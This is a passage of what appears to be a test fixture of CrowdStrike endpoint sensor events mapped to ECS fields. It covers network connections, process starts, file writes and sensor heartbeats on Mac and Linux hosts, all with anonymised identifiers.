"{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677523.901\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP4\":\"127.0.0.1\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364783686797112486\",\"RemotePort\":\"50626\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6MacV10\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677524048\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffff083845f68a7de3d95cb34361", - "os": { - "type": "macos" - } - }, - "message": "NetworkConnectIP6", - "network": { - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff083845f68a7de3d95cb34361", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364783686797112486" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14", - "0:0:0:0:0:0:0:0", - "127.0.0.1" - ] - }, - "source": { - "address": "0:0:0:0:0:0:0:0", - "ip": "0:0:0:0:0:0:0:0", - "port": 0 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:35.482Z", - "crowdstrike": { - "ConfigStateHash": "1284133626", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "MD5HashData": "29037cef466fa57f03bd1b2a092c47a4", - "RGID": "119", - "RUID": "114", - "SHA256HashData": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112", - "SVGID": "119", - "SVUID": "114", - "SessionProcessId": "38911772846634", - "SourceProcessId": "38911774195823", - "SourceThreadId": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-bad4-02690d039c6b", - "name": "ProcessRollup2LinV6" - }, - "device": { - "id": "ffffffffcf45409f87ed463b40c368ec" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:35.482Z", - "id": "ffffffff-1111-11eb-bad4-02690d039c6b|ffffffffcf45409f87ed463b40c368ec|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"ParentProcessId\":\"38911774195823\",\"SourceProcessId\":\"38911774195823\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"38911772846634\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1625677535.102\",\"SVUID\":\"114\",\"ParentBaseFileName\":\"bash\",\"id\":\"ffffffff-1111-11eb-bad4-02690d039c6b\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677535482\",\"ProcessGroupId\":\"9277112078\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"73249\",\"GID\":\"119\",\"ConfigStateHash\":\"1284133626\",\"SVGID\":\"119\",\"MD5HashData\":\"29037cef466fa57f03bd1b2a092c47a4\",\"SHA256HashData\":\"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112\",\"ConfigBuild\":\"1007.8.0010912.1\",\"UID\":\"114\",\"CommandLine\":\"pgbackrest --stanza\\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG\",\"TargetProcessId\":\"38911778380590\",\"ImageFileName\":\"/usr/bin/pgbackrest\",\"RGID\":\"119\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV6\",\"RUID\":\"114\",\"ProcessStartTime\":\"1625677535.068\",\"aid\":\"ffffffffcf45409f87ed463b40c368ec\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "group": { - "Ext": { - "real": { - "id": "119" - } - }, - "id": "119" - }, - "host": { - "id": "ffffffffcf45409f87ed463b40c368ec", - "os": { - "type": "linux" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffcf45409f87ed463b40c368ec", - "version": "1007.8.0010912.1" - }, - "process": { - "args": [ - "pgbackrest", - "--stanza=main", - "archive-get", - "000000020004D51F0000009F", - "pg_wal/RECOVERYXLOG" - ], - "args_count": 5, - "command_line": "pgbackrest --stanza=main archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG", - "end": "2021-07-07T17:05:35.102Z", - "entity_id": "38911778380590", - "executable": "/usr/bin/pgbackrest", - "group": { - "id": "119" - }, - "group_leader": { - "entity_id": "9277112078" - }, - "hash": { - "md5": "29037cef466fa57f03bd1b2a092c47a4", - "sha256": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112" - }, - "name": "pgbackrest", - "parent": { - "entity_id": "38911774195823", - "name": "bash" - }, - "pgid": 9277112078, - "pid": 73249, - "real_group": { - "id": "119" - }, - "real_user": { - "id": "114" - }, - "start": "2021-07-07T17:05:35.068Z", - "uptime": 0 - }, - "related": { - "hash": [ - "29037cef466fa57f03bd1b2a092c47a4", - "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112", - "1284133626" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "114" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "114" - } - }, - "group": { - "id": "119" - }, - "id": "114" - } - }, - { - "@timestamp": "2021-07-07T17:05:03.947Z", - "crowdstrike": { - "ConfigStateHash": "1701000200", - "ConnectionFlags": "0", - "ContextProcessId": "17307455014463", - "ContextTimeStamp": "2021-07-07T17:05:03.713Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "0:0:0:0:0:0:0:1" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5", - "name": "NetworkConnectIP6LinV5" - }, - "destination": { - "address": "0:0:0:0:0:0:0:1", - "ip": "0:0:0:0:0:0:0:1", - "port": 0 - }, - "device": { - "id": "ffffffff5a2e420c99f6b6d3a5d9de9b" - }, - "event": { - "action": "NetworkConnectIP6", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:03.947Z", - "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677503.713\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307455014463\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"41952\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677503947\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffff5a2e420c99f6b6d3a5d9de9b", - "os": { - "type": "linux" - } - }, - "message": "NetworkConnectIP6", - "network": { - "direction": "outbound", - "iana_number": "17", - "transport": "udp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b", - "version": "1007.8.0011308.1" - }, - "process": { - "entity_id": "17307455014463" - }, - "related": { - "hash": [ - "1701000200" - ], - "ip": [ - "67.43.156.14", - "0:0:0:0:0:0:0:1" - ] - }, - "source": { - "address": "0:0:0:0:0:0:0:1", - "ip": "0:0:0:0:0:0:0:1", - "port": 41952 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:21.081Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "365044948432500700", - "ContextTimeStamp": "2021-07-07T17:05:20.973Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f", - "name": "OoxmlFileWrittenMacV1" - }, - "device": { - "id": "ffffffff20bd481a98a3d1f6191047ff" - }, - "event": { - "action": "OoxmlFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:21.081Z", - "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f|ffffffff20bd481a98a3d1f6191047ff|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1625677520.973\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365044948432500700\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"0500000100000000000000000000000021b0260000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OoxmlFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8ad1-02cfdadef55f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff20bd481a98a3d1f6191047ff\",\"timestamp\":\"1625677521081\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44", - "inode": "0500000100000000000000000000000021b0260000000000", - "name": "432508", - "path": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508", - "type": "file" - }, - "host": { - "id": "ffffffff20bd481a98a3d1f6191047ff", - "os": { - "type": "macos" - } - }, - "message": "OoxmlFileWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff20bd481a98a3d1f6191047ff", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365044948432500700", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:30.841Z", - "crowdstrike": { - "ConfigStateHash": "3469235958", - "ConnectionFlags": "0", - "ContextProcessId": "12227094573885", - "ContextTimeStamp": "2021-07-07T17:05:30.308Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "67.43.156.14" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b727-028bbe41f38d", - "name": "NetworkConnectIP4LinV5" - }, - "destination": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 80 - }, - "device": { - "id": "ffffffffbd064538b214ab0dce8e82c3" - }, - "event": { - "action": "NetworkConnectIP4", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:30.841Z", - "id": "ffffffff-1111-11eb-b727-028bbe41f38d|ffffffffbd064538b214ab0dce8e82c3|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677530.308\",\"ConfigStateHash\":\"3469235958\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12227094573885\",\"RemotePort\":\"80\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59926\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4LinV5\",\"id\":\"ffffffff-1111-11eb-b727-028bbe41f38d\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffbd064538b214ab0dce8e82c3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677530841\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffffbd064538b214ab0dce8e82c3", - "os": { - "type": "linux" - } - }, - "message": "NetworkConnectIP4", - "network": { - "community_id": "1:XUmTKB40anItSVy47MPGAZ+mJWM=", - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffbd064538b214ab0dce8e82c3", - "version": "1007.8.0011308.1" - }, - "process": { - "entity_id": "12227094573885" - }, - "related": { - "hash": [ - "3469235958" - ], - "ip": [ - "67.43.156.13", - "67.43.156.14" - ] - }, - "source": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 59926 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:53.974Z", - "crowdstrike": { - "ChannelDiffStatus": "1", - "ChannelId": "12", - "ChannelVersion": "0", - "ChannelVersionRequired": "0", - "ConfigStateHash": "1156120155", - "ErrorCode": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d", - "name": "ChannelVersionRequiredLinV2" - }, - "device": { - "id": "ffffffff25b14d4aa96de99e24bad2fa" - }, - "event": { - "action": "ChannelVersionRequired", - "created": "2021-07-07T17:04:53.974Z", - "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d|ffffffff25b14d4aa96de99e24bad2fa|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1156120155\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"12\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV2\",\"id\":\"ffffffff-1111-11eb-b7e0-02332cdcc16d\",\"ErrorCode\":\"0\",\"aid\":\"ffffffff25b14d4aa96de99e24bad2fa\",\"timestamp\":\"1625677493974\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" - }, - "host": { - "id": "ffffffff25b14d4aa96de99e24bad2fa", - "os": { - "type": "linux" - } - }, - "message": "ChannelVersionRequired", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff25b14d4aa96de99e24bad2fa", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1156120155" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:21.218Z", - "crowdstrike": { - "ConfigStateHash": "1156120155", - "InterfaceAlias": "vethdeb0243", - "InterfaceIndex": 3736, - "InterfaceType": "1", - "LocalAddressIP6": [ - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ], - "PhysicalAddressLength": 6, - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-92d2-0286f570f8e1", - "name": "LocalIpAddressIP6LinV1" - }, - "device": { - "id": "ffffffffc9114c1898e79604708955a6" - }, - "event": { - "action": "LocalIpAddressIP6", - "category": [ - "configuration", - "host" - ], - "created": "2021-07-07T17:05:21.218Z", - "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffffc9114c1898e79604708955a6|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677520.686\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"6e-9e-e0-1f-6d-7d\",\"InterfaceAlias\":\"vethdeb0243\",\"InterfaceIndex\":\"3736\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP6LinV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffffc9114c1898e79604708955a6\",\"timestamp\":\"1625677521218\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "ffffffffc9114c1898e79604708955a6", - "os": { - "type": "linux" - } - }, - "message": "LocalIpAddressIP6", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffc9114c1898e79604708955a6", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1156120155" - ], - "ip": [ - "67.43.156.14", - "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" - ] - }, - "source": { - "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "mac": "6E-9E-E0-1F-6D-7D" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:40.455Z", - "crowdstrike": { - "ChannelDiffStatus": "1", - "ChannelId": "210", - "ChannelVersion": "0", - "ChannelVersionRequired": "0", - "ConfigStateHash": "1620585913", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "ErrorCode": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3", - "name": "ChannelVersionRequiredMacV2" - }, - "device": { - "id": "ffffffff2d7b4778a73b2cf58d327e42" - }, - "event": { - "action": "ChannelVersionRequired", - "created": "2021-07-07T17:04:40.455Z", - "id": "ffffffff-1111-11eb-8cc5-02c6fb049dd3|ffffffff2d7b4778a73b2cf58d327e42|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1620585913\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.13\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"210\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ChannelVersionRequiredMacV2\",\"id\":\"ffffffff-1111-11eb-8cc5-02c6fb049dd3\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff2d7b4778a73b2cf58d327e42\",\"timestamp\":\"1625677480455\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" - }, - "host": { - "id": "ffffffff2d7b4778a73b2cf58d327e42", - "os": { - "type": "macos" - } - }, - "message": "ChannelVersionRequired", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff2d7b4778a73b2cf58d327e42", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:40.292Z", - "crowdstrike": { - "ConfigIDBase": "65994753", - "ConfigIDBuild": "11611", - "ConfigIDPlatform": "8", - "ConfigStateHash": "1156120155", - "ConfigurationVersion": "10", - "NetworkContainmentState": "0", - "SensorStateBitMap": "2", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-993f-02b8dc387eb5", - "name": "SensorHeartbeatLinV4" - }, - "device": { - "id": "fffffffff6e146908cbf31d72b94b626" - }, - "event": { - "action": "SensorHeartbeat", - "category": [ - "package" - ], - "created": "2021-07-07T17:05:40.292Z", - "id": "ffffffff-1111-11eb-993f-02b8dc387eb5|fffffffff6e146908cbf31d72b94b626|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"1156120155\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ConfigurationVersion\":\"10\",\"name\":\"SensorHeartbeatLinV4\",\"ConfigIDPlatform\":\"8\",\"id\":\"ffffffff-1111-11eb-993f-02b8dc387eb5\",\"ConfigIDBuild\":\"11611\",\"aid\":\"fffffffff6e146908cbf31d72b94b626\",\"timestamp\":\"1625677540292\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "fffffffff6e146908cbf31d72b94b626", - "os": { - "type": "linux" - } - }, - "message": "SensorHeartbeat", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "fffffffff6e146908cbf31d72b94b626", - "version": "1007.8.0011611.1" - }, - "related": { - "hash": [ - "1156120155" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:28.717Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "364783686797112486", - "ContextTimeStamp": "2021-07-07T17:05:28.570Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-97c6-02fd02aca859", - "name": "JavaClassFileWrittenMacV1" - }, - "device": { - "id": "ffffffff083845f68a7de3d95cb34361" - }, - "event": { - "action": "JavaClassFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:28.717Z", - "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1625677528.570\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364783686797112486\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000986b480e00000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"JavaClassFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"timestamp\":\"1625677528717\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling", - "extension": "class", - "inode": "04000001000000000000000000000000986b480e00000000", - "name": "TeamsPlugin$apply$$inlined$configure$1.class", - "path": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class", - "type": "file" - }, - "host": { - "id": "ffffffff083845f68a7de3d95cb34361", - "os": { - "type": "macos" - } - }, - "message": "JavaClassFileWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff083845f68a7de3d95cb34361", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364783686797112486", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:12.892Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ConnectionFlags": "0", - "ContextProcessId": "364796317497854624", - "ContextTimeStamp": "2021-07-07T17:05:12.700Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "0.0.0.0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9c94-0222a21bbb27", - "name": "NetworkConnectIP4MacV10" - }, - "destination": { - "address": "67.43.156.14", - "as": { - "number": 35908 - }, - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": "67.43.156.14", - "port": 443 - }, - "device": { - "id": "ffffffff96f142f6b2475f3c584ddd80" - }, - "event": { - "action": "NetworkConnectIP4", - "category": [ - "network" - ], - "created": "2021-07-07T17:05:12.892Z", - "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff96f142f6b2475f3c584ddd80|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677512.700\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364796317497854624\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4MacV10\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff96f142f6b2475f3c584ddd80\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677512892\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "start", - "connection" - ] - }, - "host": { - "id": "ffffffff96f142f6b2475f3c584ddd80", - "os": { - "type": "macos" - } - }, - "message": "NetworkConnectIP4", - "network": { - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff96f142f6b2475f3c584ddd80", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364796317497854624" - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14", - "0.0.0.0" - ] - }, - "source": { - "address": "0.0.0.0", - 